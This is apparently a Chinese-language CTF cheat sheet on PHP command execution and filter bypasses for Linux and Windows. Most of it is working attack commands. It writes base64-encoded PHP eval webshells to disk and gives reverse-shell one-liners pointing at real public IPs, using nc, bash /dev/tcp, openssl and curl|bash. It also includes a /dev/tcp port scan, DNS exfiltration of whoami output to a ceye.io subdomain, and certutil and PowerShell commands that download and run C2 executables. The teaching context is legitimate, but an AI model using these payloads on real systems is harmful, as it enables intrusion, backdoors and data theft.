前言

主要记录了一些在ctf中遇见的命令执行时的一些思路

php命令执行相关函数

php命令执行函数

QQ截图20220715211205

实例

  1. ``
    里内容作为shell命令来执行,如echo `ls`;
    底层为shell_exec

  2. system()函数可以执行系统命令, 并将命令执行的结果直接输出到界面
    system('ls')

  3. exec()函数是被禁用的,先是 要关掉 安全模式 safe_mode = off
    exec(‘ls’,$result);如果result数组中已经包含了部分元素,exec() 函数会在数组末尾追加内容
    exec('ls',$result); print_r($result);

  4. shell_exec()函数可以执行系统命令, 但它不会直接输出执行的结果, 而是返回一个字符串类型的变量来存储系统命令的执行结果
    echo shell_exec('ls')

  5. passthru()函数可以执行系统命令, 并将执行结果输出到页面中, 与system()函数不同的是, 它支持二进制的数据, 更多的用于文件, 图片等操作
    passthru('ls')

  6. popen()函数可以执行系统命令, 但不会输出执行的结果, 而是返回一个资源类型的变量用来存储系统命令的执行结果
    $result = popen( ‘ls’ , ‘r’ );参数’1’:字符串类型,需要执行的命令,;参数2:字符串类型,模式 ;返回值:资源类型,命令执行的结果
    $result = popen( 'ls','r' ); echo fread( $result , 100 );

php命令执行绕过

PHP内置的命令执行函数(如shell_exec、system),都只接受一个“字符串”作为参数。而在内核中,这个字符串将被直接作为一条shell命令来调用,这种情况下就极为容易出现命令注入漏洞。

由于这个特点,PHP特别准备了两个过滤函数:

escapeshellcmd
escapeshellarg

二者分工不同.

1
2
3
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数

功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(), system() 执行运算符(反引号)

l4sij

1
2
3
4
5
6
7
8

escapeshellcmd — shell 元字符转义

功能:escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。

反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和 “ 仅在不配对儿的时候被转义。
在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替。

如果是先用 escapeshellarg 函数过滤,再用的 escapeshellcmd 函数过滤
se6sc

linux端执行

命令执行中的各种绕过

在ctf中,命令执行一直是一个非常重要的考点,一道ctf题最后往往都需要我们执行命令来拿到flag,但一般都会有各种各样的过滤限制,接下来就来总结一下如何绕过这些过滤

绕过空格

1
2
3
4
5
<>        #重定向,如cat<>flag.php
{cat,flag} #花括号拓展
%09 #需要php环境,如cat%09flag.php
${IFS} #单纯cat$IFS2,IFS2被bash解释器当做变量名,输不出来结果,加一个{}就固定了变量名,如cat${IFS2}flag.php
$IFS$9 #后面加个$与{}类似,起截断作用,$9是当前系统shell进程第九个参数持有者,始终为空字符串,如cat$IFS2$9flag.php

绕过关键字

  1. 字符拆分绕过
1
2
3
4
5
6
ls -> l\s
ls -> l""s
ls -> l``s
cat /flag -> ca\t /flag -> c\a\t /flag
cat /flag -> ca""t /flag -> c""a""t /flag
cat /flag -> ca``t /flag -> c``a``t /flag
  1. 拆分命令绕过
1
2
3
4
ls -> a=l;b=s;$a$b
cat /flag -> a=ag;b=fl;cat /$b$a;
flag -> a=faa;b=lage;${a:0:1}${a:1:1}${b:1:1}${b:3:1}或者${a:0:1}${b:0:3}

  1. 编码绕过
  • base64

    1
    2
    3
    4
    5
    6
    7
    #base64编码并输出
    echo 'cat' | base64
    #base64解码并输出
    `echo Y2F0Cg== | base64 -d` /flag

    echo PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSkgPz4=|base64 -d> shell.php
    #注入后门,密码为cmd
  • hex

    1
    2
    3
    4
    xxd用二进制或十六进制显示文件的内容
    -b参数: 以2进制字符串形式输出
    -ps参数:以连续16进制转储输出
    -r参数: 将16进制字符串表示转为实际的数
1
2
3
4
5
echo 77686F616D69 | xxd -r -p | bash 
#其中77686F616D69是whoami的hex编码

echo 636174202f666c6167 | xxd -r -p|bash
#其中636174202f666c6167是cat /flag的hex编码
  1. 通配符绕过(与正则类似)

在执行命令前,包含通配符的字符串将转换成匹配到的文件名,文件名按照字母顺序排列,以空格隔开

1
2
3
4
5
6
7
*	              #匹配任意长度字符
#匹配任意一个字符
[abcd] #匹配abcd中的一个字符
[a-z] #匹配a-z中任意一个字符
[!abcd] #不匹配括号中的任意一个字符
[^a-z] #不匹配a-z中任意一个字符
{*.zip,a*.txt}: #{}表示一个集合,命令含义是列出所有以zip结尾的文件和所有a开头的txt文件

linux下命令其实也是文件比如说像cat就对应文件/bin/cat,ls就对应文件/bin/ls等等,我们也可以用类似的方法进行构造:

1
2
3
4
5
ls ->  /bin/l?
cat -> /bin/c??

#像preg_match("/.*f.*l.*a.*g.*/", $ip)这种flag字样都是被过滤了的,我们用通配符就很好用:
cat /flag -> /bin/ca? /????
  1. 使用空变量绕过
    变量说明:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    $$    ——脚本运行的当前进程号(ProcessID)
    $! ——后台运行的最后一个进程的ID
    $? ——显示最后命令的退出状态。结果为0表示执行正常,结果为1表示执行异常;
    $# ——参数个数
    $0 ——Shell本身的文件名,在命令行中使用为bash


    注:因为在没有传参的情况下,下面的特殊变量都是为空的
    $∗ ——所有参数列表。以"$1 $2 … $n"的形式输出所有参数。
    $@ ——所有参数列表。以"$1" “2"…"2"…"n” 的形式输出所有参数。
    $1~n ——添加到Shell的各参数值。$1是第1参数、$2是第2参数…。

绕过长度限制

将命令写入文件并拼接,用sh执行文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#1. 直接写入命令                     (13)
root@kali:~# echo "ca\\">cmd
root@kali:~# echo "t\\">>cmd
root@kali:~# echo " fl\\">>cmd
root@kali:~# echo "ag">>cmd
root@kali:~# cat cmd
ca\
t\
fl\
ag
root@kali:~# sh cmd
this is your flag
#2. 利用文件名写入特殊命令
root@kali:~/example# >ag
root@kali:~/example# >fl\\
root@kali:~/example# >t\ \\
root@kali:~/example# >ca\\
root@kali:~/example# ls -t
'ca\' 't \' 'fl\' ag flag
root@kali:~/example# ls -t>a #(7)
root@kali:~/example# sh a #sh会把a里面的每行内容当作命令来执行
a: 1: a: not found
this is your flag
a: 6: flag: not found
#3. 临时文件执行
url = "http://a9320a52-4229-4dab-aa2b-9193c06c95e1.challenge.ctf.show/"
def getFlag():​
file={​
"file":"#!/bin/sh\ncat /f*>/var/www/html/1.txt"
}​

data={​
"cmd":". /t*/*"#(7)
}​
response = requests.post(url=url+"api/tools.php",files=file,data=data)​

#4. 读取文件 #(7)
ls / >a
nl /*>a

#------------------------------------------------------------------------------------------------------
# (5)
#5. 使用dir和通配符写入命令
root@kali:~/example# >dir
root@kali:~/example# >f\>
root@kali:~/example# >ht-
root@kali:~/example# >sl
root@kali:~/example# *>v #(等同于命令:dir "f>" "ht‐" "sl" > v )
root@kali:~/example# >rev
root@kali:~/example# *v>0 #前面的*v等同于命令rev v,相当于将v中的文件内容倒了回来,变回:ls -th >f
然后将倒转后的内容写入文件0中,文件0中的内容为:ls -th >f
#4. 利用3命令注入php一句话木马
>dir
>0\>
>ht-
>sl
*>v
>rev
*v>a
>hp
>p\\
>1.\\
>\>\\
>-d\\
>\ \\
>64\\
>se\\
>ba\\
>\|\\
>\=\\
>w=\\
>pO\\
>V0\\
>bM\\
>1R\\
>PU\\
>1B\\
>kX\\
>Cg\\
>hb\\
>XZ\\
>gZ\\
>HA\\
>a\\
>9w\\
>PD\\
>S}\\
>IF\\
>{\\
>\$\\
>o\\
>ch\\
>e\\
sh a
sh 0

#文件a中的内容为:ls -th >0
#文件0中的内容为:
echo${IFS}PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php
0
rev
v
sl
ht‐
f>
dir
#空格要用${IFS}来代替,避免一句话中存在两个空格
#文件1.php成功生成后的内容为:<?php eval($_POST[1]);

无回显rce

d83dc72543847c322c70559f7b341f00

判断是否存在盲注

可以简单的通过sleep函数判断命令是否被执行
sleep 5

通过写文件来回显

ls > 1.txt
在当前目录创建文件,达到回显的效果,应注意执行是否有写的权限

反弹shell

反弹shell需要拥有自己的公网ip

NC 反弹shell
  • 开放端口
    检测是否开放端口for i in {440..449};do timeout 0.5 bash -c "echo >/dev/tcp/124.220.165.133/$i" && echo "$i ************************open************************" || echo "$i closed";done
    方式一:ufw(建议)
    下载sudo apt install ufw
    sudo ufw status verbose查看端口开放的情况
    sudo ufw allow 9200 允许外部访问9200端口(tcp/udp)

  • 使用
    接受端nc -lvnp 2333
    发送端使用nc 124.220.165.133 2333 -e/bin/sh或者直接反弹shellbash -c "bash -i >& /dev/tcp/120.46.41.173/2333 0>&1"
    可能有延迟,需要多试几次

    其他反弹shell的命令
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    # 攻击机
    nc -lvvp 端口
    # 目标机:
    rm -f a && mknod a p && telnet IP 端口 0<a | /bin/bash 1>a


    # 生成秘钥(在我们攻击机上生成的)
    openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
    # 在攻击机中启动监听(在之前生成秘钥的文件夹中执行)
    openssl s_server -quiet -key key.pem -cert cert.pem -port 443
    # 在目标机器上反弹shell
    mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s


    echo 'bash -i >& /dev/tcp/43.128.11.131/4545' > index.html
    # 这里&是让这个命令后台执行
    python3 -m http.server &
    nc -lvvp 4545
    # 目标机:
    curl 43.128.11.131:8000|bash

外带数据

dns外带

注意:dns平台是外网请求延迟比较大,可能因程序报错而中断请求
平台url: http://ceye.io/
如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping命令或者curl命令
例如

1
2
curl http://cx7xrs.ceye.io/`whoami`
ping `whoami`.cx7xrs.ceye.io
查看日志
1
2
124.223.158.81 - - [19/Feb/2023:08:47:08 +0000] "GET /x.php?1=Y3Rmc2hvd3sxMGRkODQ5Ni0xZDQ3LTRmYWQtODE3Mi1kNmI0ZDBlMWMwZWN9Cg== HTTP/1.0" 404 466 "-" "-"
[Sun Feb 19 08:47:08.149766 2023] [:error] [pid 2113] [client 124.223.158.81:53652] script '/var/www/html/x.php' not found or unable to stat
使用php脚本配合外带数据
1
2
3
4
5
6
7
8
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}

windows端执行

windows端很多字符都是没有特殊含义的,所以绕过思路比较少

命令执行中的各种绕过

绕过空格

1
2
echo/123>>s1.php
echo,123>>s1.php

绕过关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
wh"oam"i
wh"oami
wh""oami

#在win中^代表转义字符
wh^oami
wh^o^ami

#分组绕过
set a=who&&set b=ami && call %a%%b%

#base64编码绕过
echo PD9waHAgZXZhbCgkX1JFUVVFU1RbMV0pOyA/Pg== > ./base64-data-1.txt
certutil -f -decode ./base64-data-1.txt ./1.php

无回显rce

判断是否存在盲注

使用 timeout 命令:
timeout /t 5
这条命令会让命令行暂停 5 秒钟。/t 后面的数字表示暂停的时间(单位是秒)。

使用 ping 命令:
你还可以通过 ping 命令模拟延时:
ping 127.0.0.1 -n 6 > nul
这里的 -n 6 表示 ping 命令会发送 6 次请求,间隔 1 秒,所以总共会等待大约 5 秒钟

上传c2

通过 Certutil 远程下载C2文件并执行
certutil -urlcache -gmt -split -f http://C2文件远程地址 C2文件名.exe && C2文件名.exe 执行参数
通过 PowerShell 远程下载C2文件并执行
powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://C2文件远程地址','C2文件名.exe') && C2文件名.exe 执行参数